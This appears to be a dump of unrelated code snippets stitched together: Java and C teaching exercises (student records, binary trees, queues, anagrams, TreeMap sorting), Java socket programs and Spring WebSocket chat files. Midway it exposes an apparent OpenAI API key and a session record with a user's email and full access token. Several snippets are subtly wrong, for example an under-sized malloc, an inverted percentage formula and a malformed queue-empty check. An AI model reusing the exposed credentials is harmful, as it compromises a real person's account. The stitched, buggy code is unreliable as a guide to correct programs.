                    addStudent();
                    break;
                case 2:
                    viewStudentList();
                    break;
                case 3:
                    searchStudent();
                    break;
                case 4:
                    System.out.println("Exiting program. Goodbye!");
                    System.exit(0);
                default:
                    System.out.println("Invalid choice. Please try again.");
            }
        }
    }

    private static void displayMenu() {
        System.out.println("Student Information System Menu:");
        System.out.println("1. Add Student");
        System.out.println("2. View Student List");
        System.out.println("3. Search for Student");
        System.out.println("4. Exit");
        System.out.print("Enter your choice: ");
    }

    private static void addStudent() {
        System.out.print("Enter student ID: ");
        int id = scanner.nextInt();
        scanner.nextLine(); // Consume the newline character

        System.out.print("Enter student name: ");
        String name = scanner.nextLine();

        students.add(new Student(id, name));
        System.out.println("Student added successfully!");
    }

    private static void viewStudentList() {
        if (students.isEmpty()) {
            System.out.println("No students in the system yet.");
        } else {
            System.out.println("Student List:");
            for (Student student : students) {
                System.out.println("ID: " + student.getId() + ", Name: " + student.getName());
            }
        }
    }

    private static void searchStudent() {
        System.out.print("Enter student ID to search: ");
        int searchId = scanner.nextInt();
        scanner.nextLine(); // Consume the newline character

        boolean found = false;
        for (Student student : students) {
            if (student.getId() == searchId) {
                System.out.println("Student found: ID: " + student.getId() + ", Name: " + student.getName());
                found = true;
                break;
            }
        }

        if (!found) {
            System.out.println("Student with ID " + searchId + " not found.");
        }
    }

    private static class Student {
        private int id;
        private String name;

        public Student(int id, String name) {
            this.id = id;
            this.name = name;
        }

        public int getId() {
            return id;
        }

        public String getName() {
            return name;
        }
    }
}
#include <stdio.h>
#include <stdlib.h>
 
/* A binary tree node has data, pointer to left child
   and a pointer to right child */
struct node {
    char data;
    struct node* left;
    struct node* right;
};
 
/* Prototypes for utility functions */
int search(char arr[], int strt, int end, char value);
struct node* newNode(char data);
 
/* Recursive function to construct binary of size len from
   Inorder traversal in[] and Preorder traversal pre[].  Initial values
   of inStrt and inEnd should be 0 and len -1.  The function doesn't
   do any error checking for cases where inorder and preorder
   do not form a tree */
struct node* buildTree(char in[], char pre[], int inStrt, int inEnd)
{
    static int preIndex = 0;
 
    if (inStrt > inEnd)
        return NULL;
 
    /* Pick current node from Preorder traversal using preIndex
    and increment preIndex */
    struct node* tNode = newNode(pre[preIndex++]);
 
    /* If this node has no children then return */
    if (inStrt == inEnd)
        return tNode;
 
    /* Else find the index of this node in Inorder traversal */
    int inIndex = search(in, inStrt, inEnd, tNode->data);
 
    /* Using index in Inorder traversal, construct left and
     right subtress */
    tNode->left = buildTree(in, pre, inStrt, inIndex - 1);
    tNode->right = buildTree(in, pre, inIndex + 1, inEnd);
 
    return tNode;
}
 
/* UTILITY FUNCTIONS */
/* Function to find index of value in arr[start...end]
   The function assumes that value is present in in[] */
int search(char arr[], int strt, int end, char value)
{
    int i;
    for (i = strt; i <= end; i++) {
        if (arr[i] == value)
            return i;
    }
}
 
/* Helper function that allocates a new node with the
   given data and NULL left and right pointers. */
struct node* newNode(char data)
{
    struct node* node = (struct node*)malloc(sizeof(struct node));
    node->data = data;
    node->left = NULL;
    node->right = NULL;
 
    return (node);
}
 
/* This function is here just to test buildTree() */
void printInorder(struct node* node)
{
    if (node == NULL)
        return;
 
    /* first recur on left child */
    printInorder(node->left);
 
    /* then print the data of node */
    printf("%c ", node->data);
 
    /* now recur on right child */
    printInorder(node->right);
}
 
/* Driver program to test above functions */
int main()
{
    char in[] = { 'D', 'G', 'B', 'A', 'H', 'E', 'I', 'C', 'F' };
    char pre[] = { 'A', 'B', 'D', 'G', 'C', 'E', 'H', 'I', 'F' };
    int len = sizeof(in) / sizeof(in[0]);
    struct node* root = buildTree(in, pre, 0, len - 1);
 
    /* Let us test the built tree by printing Inorder traversal */
    printf("Inorder traversal of the constructed tree is \n");
    printInorder(root);
    getchar();
}
//OUTPUT:

Inorder traversal of the constructed tree is 
D G B A H E I C F 
#include <stdio.h>
#include <stdlib.h>

typedef struct Node 
{
    char data;
    struct Node* left;
    struct Node* right;
} Node;

Node* createNode(char value)
{
    Node* newNode = (Node*)malloc(sizeof(Node*));
    newNode -> data = value;
    newNode -> left = NULL;
    newNode -> right = NULL;
    
    return newNode;
}

void preOrder(Node* root)
{
    if(root != NULL) {
        printf("%c ", root -> data);
        preOrder(root -> left);
        preOrder(root -> right);
    }
}

void inOrder(Node* root)
{
    if(root != NULL) {
        inOrder(root -> left);
        printf("%c ", root -> data);
        inOrder(root -> right);
    }
}

void postOrder(Node* root)
{
    if(root != NULL) {
        postOrder(root -> left);
        postOrder(root -> right);
        printf("%c ", root -> data);
    }
}
int main() {
   
   Node* root = createNode('A');
   root ->left = createNode('B');
   root -> right = createNode('C');
   root -> left -> left = createNode('D');
   root -> left -> right = createNode('E');
   root -> right -> left = createNode('F');
   root -> right -> right = createNode('G');
   
   printf("Pre-Order Traversal: ");
   printf("\n");
   preOrder(root);
   
   printf("\n\nIn-Order Traversal: ");
   printf("\n");
   inOrder(root);
   
   printf("\n\nPost-Order Traversal: ");
   printf("\n");
   postOrder(root);

    return 0;
}

//OUTPUT:

Pre-Order Traversal: 
A B D E C F G 

In-Order Traversal: 
D B E A F C G 

Post-Order Traversal: 
D E B F G C A 
Question: 
Write a C program to create a binary tree as shown in bellow, with the following elements: 50, 17, 72, 12, 23, 54, 76, 9, 14, 25 and 67. After creating the tree, perform an in-order traversal to display the elements. 

Answer:

#include <stdio.h>
#include <stdlib.h>

struct Node 
{
    int data;
    struct Node* left;
    struct Node* right;
};

struct Node* createNode(int value)
{
    struct Node* newNode = (struct Node*)malloc(sizeof(struct Node));
    newNode -> data = value;
    newNode -> left = NULL;
    newNode -> right = NULL;
    
    return newNode;
}
void inOrderTraversal(struct Node* root)
{
    if(root!=NULL) {
        inOrderTraversal(root -> left);
        printf("%d ", root -> data);
        inOrderTraversal(root -> right);
    }
}

int main() {
   struct Node* root = createNode(50);
   root -> left = createNode(17);
   root -> right = createNode(72);
   
   root -> left -> left = createNode(12);
   root -> left -> right = createNode(23);
   
   root -> left -> left -> left = createNode(9);
   root -> left -> left -> right = createNode(14);
   
   root -> left -> right -> right = createNode(25);
   
   root -> right -> left = createNode(54);
   root -> right -> right = createNode(76);
   root -> right -> left -> right = createNode(67);
   inOrderTraversal(root);

    return 0;
}

//OUTPUT:

In-Order Traversal: 
9 12 14 17 23 25 50 54 67 72 76 
import java.net.*;
import java.io.*;
import java.util.*;
import java.util.stream.Collectors;

public class Main {

    public static void main(String[] args) {
        try {
            // Step 1: Open a connection to the URL and create a BufferedReader to read from it
            URL url = new URL("http://wiki.puzzlers.org/pub/wordlists/unixdict.txt");
            BufferedReader reader = new BufferedReader(new InputStreamReader(url.openStream()));

            // Step 2: Group words by sorted characters (anagrams)
            Map<String, List<String>> anagrams = reader.lines()
                    .collect(Collectors.groupingBy(Main::sortedString));

            // Step 3: Find the maximum number of anagrams in a single group
            int maxAnagrams = anagrams.values().stream()
                    .mapToInt(List::size)
                    .max()
                    .orElse(0);
          
			// Step 4: Print the group(s) with the maximum number of anagrams, sorted lexicographically

		// Stream through the values of the 'anagrams' map, which represent groups of anagrams
anagrams.values().stream()
        // Filter to include only groups with the maximum number of anagrams
        .filter(group -> group.size() == maxAnagrams)
        
        // For each qualifying group, sort its elements lexicographically
        .peek(Collections::sort)
        
        // Sort the groups based on the lexicographically first element of each group
        .sorted(Comparator.comparing(list -> list.get(0)))
        
        // For each sorted group, print it as a space-separated string
        .forEach(group -> System.out.println(String.join(" ", group)));
          
          
                // Step 5: Close the BufferedReader
            reader.close();
        } catch (IOException e) {
            // Handle IOException if it occurs
            e.printStackTrace();
        }
    }

private static String sortedString(String word) {
    // Step 1: Convert the word to a character array
    char[] letters = word.toCharArray();
    
    // Step 2: Sort the characters in lexicographic order
    Arrays.sort(letters);
    
    // Step 3: Create a new string from the sorted character array
    return new String(letters);
}
# include <stdio.h>
# define MAX 6
int CQ[MAX];
int front = 0;
int rear = 0;
int count = 0;
void insertCQ(){
int data;
if(count == MAX) {
printf("\n Circular Queue is Full");
}
else {
printf("\n Enter data: ");
scanf("%d", &data);
CQ[rear] = data;
rear = (rear + 1) % MAX;
count ++;
printf("\n Data Inserted in the Circular Queue ");
    }
}
void deleteCQ()
{
    if(count == 0) {
        printf("\n\nCircular Queue is Empty..");
        
    }
        else {
            printf("\n Deleted element from Circular Queue is %d ", CQ[front]);
            front = (front + 1) % MAX;
            count --; 
        }
}
void displayCQ()
{
    int i, j;
    if(count == 0) {
        printf("\n\n\t Circular Queue is Empty "); }
        else {
            printf("\n Elements in Circular Queue are: ");
            j = count;
            for(i = front; j != 0; j--) {
                printf("%d\t", CQ[i]);
                i = (i + 1) % MAX; 
            }
        } 
}
int menu() {
    int ch;
    printf("\n \t Circular Queue Operations using ARRAY..");
    printf("\n -----------**********-------------\n");
    printf("\n 1. Insert ");
    printf("\n 2. Delete ");
    printf("\n 3. Display");
    printf("\n 4. Quit ");
    printf("\n Enter Your Choice: ");
    scanf("%d", &ch);
    return ch;
    
}
void main(){
    int ch;
    do {
        ch = menu();
        switch(ch) {
            case 1: insertCQ(); break;
            case 2: deleteCQ(); break;
            case 3: displayCQ(); break;
            case 4:
            return;
            default:
            printf("\n Invalid Choice ");
            
        }
        } while(1);
}
#include <stdio.h>
#include <stdlib.h>
#define SIZE 5

int front = -1;
int rear = -1;
int Q[SIZE];

void enqueue();
void dequeue();
void show();

int main ()
{
    int choice;
    while (1)
    {
        printf("\nEnter 1 for enqueue\n");
        printf("Enter 2 for dequeue\n");
        printf("Enter 3 to see the Queue Elements\n");
        printf("Enter 4 to Quit\n");
        printf("\nEnter Your Choice: ");
        scanf("%d", &choice); 

        switch (choice)
        {
        case 1:
            enqueue();
            break; 
        case 2:
            dequeue();
            break;
        case 3:
            show();
            break;
        case 4:
            exit(0);
        default:
            printf("\nWrong choice\n");
        }
    }

    return 0;
}

void enqueue()
{
    int val;
    if (rear == SIZE - 1)
        printf("\nQueue is Full.");
    else
    {
        if (front == -1)
            front = 0;
        printf("\nInsert the value: ");
        scanf("%d", &val); 
        rear = rear + 1;
        Q[rear] = val;
    }
}

void dequeue()
{
    if (front == -1 || front > rear)
        printf("\nQueue Is Empty.");
    else
    {
        printf("\nDeleted Element is %d", Q[front]);
        front = front + 1;
    }
}
void show()
{
    if (front == rear == -1 || front > rear)
    {
        printf("\nQueue is Empty.");
    }
    else
    {
        for (int i = front; i <= rear; i++) 
            printf("%d\t", Q[i]);
    }
}
#include <stdio.h>
#define MAX 6
int Q[MAX];
int front, rear;
void insertQ()
{
    int data;
    if(rear==MAX) {
        printf("\nLinear Queue is Full: we cannot add an element.");
    }
    else{
        printf("Enter Data: ");
        scanf("\n%d", & data );
        Q[rear] = data;
        rear++;
    }
}
void deleteQ()
{
    if(rear==front){
        printf("Queue is Empty. we cannot delete an element.");
    }
    else {
        printf("\nDeleted Element is %d ", Q[front]);
        front++;
    }
}

void displayQ()
{
    int i;
    if(front==rear) {
        printf("\nQueue is Empty. we dont Have any element yet!");
    }
    else {
        printf("\nElements in the Queue is : ");
        for(int i = front; i<rear; i++){
            printf("%d ", Q[i]);
        }
    }
}

int menu()
{
    int choice;
    //clrscr();
    printf("\nQueus Operation using Array: ");
    printf("\n 1. insert Element.");
    printf("\n 2. Delete Element.");
    printf("\n 3. Display Elements.");
    printf("\n 4. Quit.");
    
    printf("\n\nEnter Your Choice: ");
    scanf("%d", & choice);
    return choice;
}

int main() {
   int choice;
   do
   {
       choice = menu();
       switch(choice) 
       {
           case 1: insertQ(); break;
           case 2: deleteQ(); break;
           case 3: displayQ(); break;
       }
       //getchoice();
   }
   while(1);

    //return 0;
}

//OUTPUT:
Queus Operation using Array: 
1. insert Element.
2. Delete Element.
3. Display Elements.
4. Quit.

Enter Your Choice: 1
Enter Data: 50
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 1
Enter Data: 60
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 1
Enter Data: 70
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 3
Elements in the Queue is : 50 60 70 
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 1
Enter Data: 80
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 3
Elements in the Queue is : 50 60 70 80 
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 2
Deleted Element is 50 
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 3
Elements in the Queue is : 60 70 80 
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 1
Enter Data: 20
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 1
Enter Data: 30
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 1
Linear Queue is Full: we cannot add an element.
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 3
Elements in the Queue is : 60 70 80 20 30 
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 1
Linear Queue is Full: we cannot add an element.
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 3
Elements in the Queue is : 60 70 80 20 30 
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 2
Deleted Element is 60 
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 3
Elements in the Queue is : 70 80 20 30 
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 1
Linear Queue is Full: we cannot add an element.
Queus Operation using Array: 
 1. insert Element.
 2. Delete Element.
 3. Display Elements.
 4. Quit.

Enter Your Choice: 
/*
 * Une collection TreeMap est par défaut triée avec ses clés, mais si vous avez besoin de trier une TreeMap
 * par valeurs, Java fournit un moyen en utilisant la classe Comparator.
 */

package TreeMap;

import java.util.*;

/**
 *
 * @author fabrice
 */
class Tri_par_valeurs {
  
  // Static method which return type is Map and which extends Comparable. 
  // Comparable is a comparator class which compares values associated with two keys.  
  public static <K, V extends Comparable<V>> Map<K, V> valueSort(final Map<K, V> map) {
      
      // compare the values of two keys and return the result
      Comparator<K> valueComparator = (K k1, K k2) -> {
          int comparisonResult = map.get(k1).compareTo(map.get(k2));
          if (comparisonResult == 0) return 1;
          else return comparisonResult;
      };
      
      // Sorted Map created using the comparator
      Map<K, V> sorted = new TreeMap<K, V>(valueComparator); // create a new empty TreeMap ordered according to the given comparator
      
      sorted.putAll(map); // copy mappîngs of "map" into "sorted" an order them by value
      
      return sorted;
  }
  
    public static void main(String[] args) {
        TreeMap<Integer, String> map = new TreeMap<Integer, String>();
        
        // Feed the Map
        map.put(1, "Anshu"); 
        map.put(5, "Rajiv"); 
        map.put(3, "Chhotu"); 
        map.put(2, "Golu"); 
        map.put(4, "Sita"); 
        
        // Display elements before sorting 
        Set unsortedSet = map.entrySet();
        Iterator i1 = unsortedSet.iterator();
        while (i1.hasNext()) {
            Map.Entry mapEntry = (Map.Entry) i1.next();
            System.out.println("Key: " + mapEntry.getKey() + " - Value: " + mapEntry.getValue());
        }
        
        // call method valueSort() and assign the output to sortedMap
        Map sortedMap = valueSort(map);
        System.out.println(sortedMap);
        
        // Display elements after sorting 
        Set sortedSet = sortedMap.entrySet();
        Iterator i2 = sortedSet.iterator();
        while (i2.hasNext()) {
            Map.Entry mapEntry = (Map.Entry) i2.next();
            System.out.println("Key: " + mapEntry.getKey() + " - Value: " + mapEntry.getValue());
        }
    }
}
import java.util.Scanner;
class Mark{
	private int markM1,markM2,markM3;
	private int totalMark,percentage;
	void input(){
		Scanner sc=new Scanner(System.in);
		System.out.println("Enter your Mark of the 1st Subject:");
		markM1=sc.nextInt();
		System.out.println("Enter your Mark of the 2nd Subject:");
		markM2=sc.nextInt();
		System.out.println("Enter your Mark of the 3rd Subject:");
		markM3=sc.nextInt();
	}
	private void markObtain(){
		totalMark=markM1+markM2+markM3;
		percentage=(300/totalMark)*100;
	}
	void output(){
		markObtain();
		System.out.println("Mark Obtain in 1st Subject: "+markM1);
		System.out.println("Mark Obtain in 2nd Subject: "+markM2);
		System.out.println("Mark Obtain in 1st Subject: "+markM3);
		System.out.println("Total-Mark= "+totalMark);
		System.out.println("percentage= "+percentage);
	}
}
class Student{
	private int rollNumber;
	private String name;
	private Mark m=new Mark();
	void input(){
		Scanner sc=new Scanner(System.in);
		System.out.println("Enter your ROLL-NUMBER:");
		rollNumber=sc.nextInt();
		sc.nextLine();
		System.out.println("Enter your NAME:");
		name=sc.nextLine();
		m.input();
	}
	void output(){
		System.out.println("Roll: "+rollNumber);
		System.out.println("Name: "+name);
		m.output();
	}
}
class StudentInfo{
	public static void main(String args[]){
		Student s=new Student();
		s.input();
		s.output();
	}
}
public class Exercise31 {
    public static void main(String[] args) {
        // Display Java version
        System.out.println("\nJava Version: " + System.getProperty("java.version"));
        
        // Display Java runtime version
        System.out.println("Java Runtime Version: " + System.getProperty("java.runtime.version"));
        
        // Display Java home directory
        System.out.println("Java Home: " + System.getProperty("java.home"));
        
        // Display Java vendor name
        System.out.println("Java Vendor: " + System.getProperty("java.vendor"));
        
        // Display Java vendor URL
        System.out.println("Java Vendor URL: " + System.getProperty("java.vendor.url"));
        
        // Display Java class path
        System.out.println("Java Class Path: " + System.getProperty("java.class.path") + "\n");
    }
}


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

{
    "error": {
        "message": "You exceeded your current quota, please check your plan and billing details. For more information on this error, read the docs: https://platform.openai.com/docs/guides/error-codes/api-errors.",
        "type": "insufficient_quota",
        "param": null,
        "code": "insufficient_quota"
    }
}



{"user":{"id":"user-LXaUaVde1TljvzyYdEys8fm5","name":"qncity7ahqv@gmail.com","email":"qncity7ahqv@gmail.com","image":"https://s.gravatar.com/avatar/66eff1ca1d13687c8ddefaff7679f78d?s=480&r=pg&d=https%3A%2F%2Fcdn.auth0.com%2Favatars%2Fqn.png","picture":"https://s.gravatar.com/avatar/66eff1ca1d13687c8ddefaff7679f78d?s=480&r=pg&d=https%3A%2F%2Fcdn.auth0.com%2Favatars%2Fqn.png","idp":"auth0","iat":1699936137,"mfa":false,"groups":[],"intercom_hash":"2ead6d0bbdb6f983f7be9e9581677eb3432ef8c4bb74b2e38cd8ecff0ee2e52b"},"expires":"2024-02-14T09:39:28.424Z","accessToken":"eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ik1UaEVOVUpHTkVNMVFURTRNMEZCTWpkQ05UZzVNRFUxUlRVd1FVSkRNRU13UmtGRVFrRXpSZyJ9.eyJodHRwczovL2FwaS5vcGVuYWkuY29tL3Byb2ZpbGUiOnsiZW1haWwiOiJxbmNpdHk3YWhxdkBnbWFpbC5jb20iLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZX0sImh0dHBzOi8vYXBpLm9wZW5haS5jb20vYXV0aCI6eyJwb2lkIjoib3JnLTVncDlXTGwwODJhMUtVQ1BaWXlVTHliViIsInVzZXJfaWQiOiJ1c2VyLUxYYVVhVmRlMVRsanZ6eVlkRXlzOGZtNSJ9LCJpc3MiOiJodHRwczovL2F1dGgwLm9wZW5haS5jb20vIiwic3ViIjoiYXV0aDB8NjNmMTAzODIxODA1NDg3OTZjMWU0Y2ZmIiwiYXVkIjpbImh0dHBzOi8vYXBpLm9wZW5haS5jb20vdjEiLCJodHRwczovL29wZW5haS5vcGVuYWkuYXV0aDBhcHAuY29tL3VzZXJpbmZvIl0sImlhdCI6MTY5OTkzNjEzNywiZXhwIjoxNzAwODAwMTM3LCJhenAiOiJUZEpJY2JlMTZXb1RIdE45NW55eXdoNUU0eU9vNkl0RyIsInNjb3BlIjoib3BlbmlkIHByb2ZpbGUgZW1haWwgbW9kZWwucmVhZCBtb2RlbC5yZXF1ZXN0IG9yZ2FuaXphdGlvbi5yZWFkIG9yZ2FuaXphdGlvbi53cml0ZSBvZmZsaW5lX2FjY2VzcyJ9.KPJeQd6-dnaRca4JLrxtF-0h4ZM5igA7_ard9GkJ_JZVY1rz9QjTzW4gm0xuZd78qf1XWtn9SzIAU0WXlmjIDKe4plREIdcleWca_ClSl49SdeuRUy1XvH6BEU-OKagwoNVkIzbAsGX1duxxYLPUX-Hu94v3cnF6d9yIRX0UUUWyF-mar5QWeHvQrA9KcYmqOgEvT2AM20KlzKpJ51RZiGNssjRm3ZWGGO5AMdl8xpNbOOf4L5_Dnf_KKFKpV48n-JqCRCT_yeOPEz0SWNFI2kMVQgpfP5MpR6xl7tIEZ3Tn40qVc2wSx0GWHw960Q_mRZYmqb-ClguFpsMo-c6pfw","authProvider":"auth0"}
import java.util.*;
import java.net.*;
import java.io.*;

public class Server {

    public static void main(String[] args) {

        for (String portStr : args) {
            try {
                int port = Integer.parseInt(portStr);
                new Thread(new ServerTask(port)).start();
            } catch (NumberFormatException e) {
                System.out.println("Incorrect port: " + portStr);
            }
        }
    }

    private static class ServerTask implements Runnable {
        private int port;

        public ServerTask(int port) {
            this.port = port;
        }

        public void run() {
            try (ServerSocket serverSocket = new ServerSocket(port)) {
                while (true) {
                    Socket clientSocket = serverSocket.accept();
                    new Thread(new ClientHandler(clientSocket)).start();
                }
            } catch (IOException e) {
                System.out.println("Error starting the server on port " + port);
            }
        }
    }

    private static class ClientHandler implements Runnable {
        private Socket clientSocket;

        public ClientHandler(Socket clientSocket) {
            this.clientSocket = clientSocket;
        }

        public void run() {
            try (InputStream input = clientSocket.getInputStream()) {
                byte[] buffer = new byte[20];
                int bytesRead = input.read(buffer);

                String receiveData = new String(buffer, 0, bytesRead);
                System.out.println(receiveData);
            } catch (IOException e) {
                System.out.println("Error receiving data from client");
                e.printStackTrace();
            } finally {
                try {
                    clientSocket.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }
    }
}
import java.util.*;
import java.net.*;
import java.io.*;
import util.SocketFactory;

class Main
{
    public static void main(String[] args) throws IOException
    {
        byte[] data  = new byte[20];
        String output = "";

        ServerSocket socket = SocketFactory.buildSocket();

        Socket clientSocket = socket.accept(); //oczekiwanie na polaczenie, oraz akceptacja

        InputStream input = clientSocket.getInputStream();
        
        input.read(data, 0, 20);
        output = new String(data, 0, 20);
        System.out.println(output);


    }
}
import java.util.*;
import java.net.*;
import java.io.*;

class Sock{
    public static String getFlag(String hostName, Integer port){
        int bufferSize = 20;
        byte[] data = new byte[bufferSize];
        String output = "";

        try{
            Socket socket = new Socket(hostName, port);
            for(int i = 0; i < bufferSize; i++){
                if(socket.getInputStream().read(data, i, 1) <= 0){
                    break;
                }
            //socket.getInputStream().read(data, i, 1); //0 to indeks gdzie zaczynay,
            output = output + (char) data[i]; 
            }
            socket.close();
        }
        catch(IOException e){
            System.out.println(e);
        }

        return output;
    }
}

class Main
{
    public static void main(String[] args)
    {
        Scanner scan = new Scanner(System.in);
        Integer port = scan.nextInt();

        System.out.println(Sock.getFlag("127.0.0.1", port)); //wyprintuje SUCCESS

    }
}
import java.util.*;
import java.net.*;
import java.io.*;

class Sock{
    public static String getFlag(String hostName, Integer port){
        byte[] data = new byte[20];
        try{
            Socket socket = new Socket(hostName, port);
            socket.getInputStream().read(data, 0, 20); //0 to indeks gdzie zaczynay,
            socket.close();
        }
        catch(IOException e){
            System.out.println(e);
        }

        return new String(data, 0, 20);
    }
}

class Main
{
    public static void main(String[] args)
    {
        Scanner scan = new Scanner(System.in);
        Integer port = scan.nextInt();

        System.out.println(Sock.getFlag("127.0.0.1", port)); //wyprintuje SUCCESS

    }
}
<!DOCTYPE html>
<html>
  <head>
      <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
      <title>Spring Boot WebSocket Chat Application | CalliCoder</title>
      <link rel="stylesheet" href="css/main.css" />
  </head>
  <body>
    <noscript>
      <h2>Sorry! Your browser doesn't support Javascript</h2>
    </noscript>

    <div id="username-page">
        <div class="username-page-container">
            <h1 class="title">Type your username</h1>
            <form id="usernameForm" name="usernameForm">
                <div class="form-group">
                    <input type="text" id="name" placeholder="Username" autocomplete="off" class="form-control" />
                </div>
                <div class="form-group">
                    <button type="submit" class="accent username-submit">Start Chatting</button>
                </div>
            </form>
        </div>
    </div>

    <div id="chat-page" class="hidden">
        <div class="chat-container">
            <div class="chat-header">
                <h2>Spring WebSocket Chat Demo</h2>
            </div>
            <div class="connecting">
                Connecting...
            </div>
            <ul id="messageArea">

            </ul>
            <form id="messageForm" name="messageForm" nameForm="messageForm">
                <div class="form-group">
                    <div class="input-group clearfix">
                        <input type="text" id="message" placeholder="Type a message..." autocomplete="off" class="form-control"/>
                        <button type="submit" class="primary">Send</button>
                    </div>
                </div>
            </form>
        </div>
    </div>

    <script src="https://cdnjs.cloudflare.com/ajax/libs/sockjs-client/1.1.4/sockjs.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/stomp.js/2.3.3/stomp.min.js"></script>
    <script src="js/main.js"></script>
  </body>
</html>

------------------------------------
pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
	<modelVersion>4.0.0</modelVersion>

	<groupId>com.example</groupId>
	<artifactId>websocket-demo</artifactId>
	<version>0.0.1-SNAPSHOT</version>
	<packaging>jar</packaging>

	<name>websocket-demo</name>
	<description>Spring Boot WebSocket Chat Demo</description>

	<parent>
		<groupId>org.springframework.boot</groupId>
		<artifactId>spring-boot-starter-parent</artifactId>
		<version>2.5.5</version>
		<relativePath/> <!-- lookup parent from repository -->
	</parent>

	<properties>
		<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
		<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
		<java.version>11</java.version>
	</properties>

	<dependencies>
		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-websocket</artifactId>
		</dependency>

		<!-- RabbitMQ Starter Dependency (Not required if you're using the simple in-memory broker for STOMP) -->
		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-amqp</artifactId>
		</dependency>

		<!-- Following dependency is required for Full Featured STOMP Broker Relay -->
		<dependency>
		    <groupId>org.springframework.boot</groupId>
		    <artifactId>spring-boot-starter-reactor-netty</artifactId>
		</dependency>

		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-devtools</artifactId>
			<scope>runtime</scope>
		</dependency>

		<dependency>
			<groupId>org.springframework.boot</groupId>
			<artifactId>spring-boot-starter-test</artifactId>
			<scope>test</scope>
		</dependency>

		<dependency>
			<groupId>org.projectlombok</groupId>
			<artifactId>lombok</artifactId>
			<optional>true</optional>
		</dependency>
	</dependencies>

	<build>
		<plugins>
			<plugin>
				<groupId>org.springframework.boot</groupId>
				<artifactId>spring-boot-maven-plugin</artifactId>
			</plugin>
			<!-- This plugin is used to create a docker image and publish the image to docker hub-->
			<plugin>
				<groupId>com.spotify</groupId>
				<artifactId>dockerfile-maven-plugin</artifactId>
				<version>1.4.0</version>
				<configuration>
					<!-- replace `callicoder` with your docker id-->
					<repository>callicoder/spring-boot-websocket-chat-demo</repository>
					<tag>${project.version}</tag>
					<buildArgs>
						<JAR_FILE>target/${project.build.finalName}.jar</JAR_FILE>
					</buildArgs>
				</configuration>
				<executions>
					<execution>
						<id>default</id>
						<phase>install</phase>
						<goals>
							<goal>build</goal>
							<goal>push</goal>
						</goals>
					</execution>
				</executions>
			</plugin>
		</plugins>
	</build>
</project>
--------------------------------------

static/js/main.js

'use strict';

var usernamePage = document.querySelector('#username-page');
var chatPage = document.querySelector('#chat-page');
var usernameForm = document.querySelector('#usernameForm');
var messageForm = document.querySelector('#messageForm');
var messageInput = document.querySelector('#message');
var messageArea = document.querySelector('#messageArea');
var connectingElement = document.querySelector('.connecting');

var stompClient = null;
var username = null;

var colors = [
    '#2196F3', '#32c787', '#00BCD4', '#ff5652',
    '#ffc107', '#ff85af', '#FF9800', '#39bbb0'
];

function connect(event) {
    username = document.querySelector('#name').value.trim();

    if(username) {
        usernamePage.classList.add('hidden');
        chatPage.classList.remove('hidden');

        var socket = new SockJS('/ws');
        stompClient = Stomp.over(socket);

        stompClient.connect({}, onConnected, onError);
    }
    event.preventDefault();
}

function onConnected() {
    // Subscribe to the Public Topic
    stompClient.subscribe('/topic/public', onMessageReceived);

    // Tell your username to the server
    stompClient.send("/app/chat.addUser",
        {},
        JSON.stringify({sender: username, type: 'JOIN'})
    )

    connectingElement.classList.add('hidden');
}


function onError(error) {
    connectingElement.textContent = 'Could not connect to WebSocket server. Please refresh this page to try again!';
    connectingElement.style.color = 'red';
}


async function sendMessage(event) {
    var messageContent = messageInput.value.trim();

    if(messageContent && stompClient) {
        var chatMessage = {
            sender: username,
            content: messageInput.value,
            type: 'CHAT'
        };

        stompClient.send("/app/chat.sendMessage", {}, JSON.stringify(chatMessage));
        messageInput.value = '';
    }
    event.preventDefault();
}


function onMessageReceived(payload) {
    var message = JSON.parse(payload.body);

    var messageElement = document.createElement('li');

    console.log(payload)
    if(message.type === 'JOIN') {
        messageElement.classList.add('event-message');
        message.content = message.sender + ' joined!';
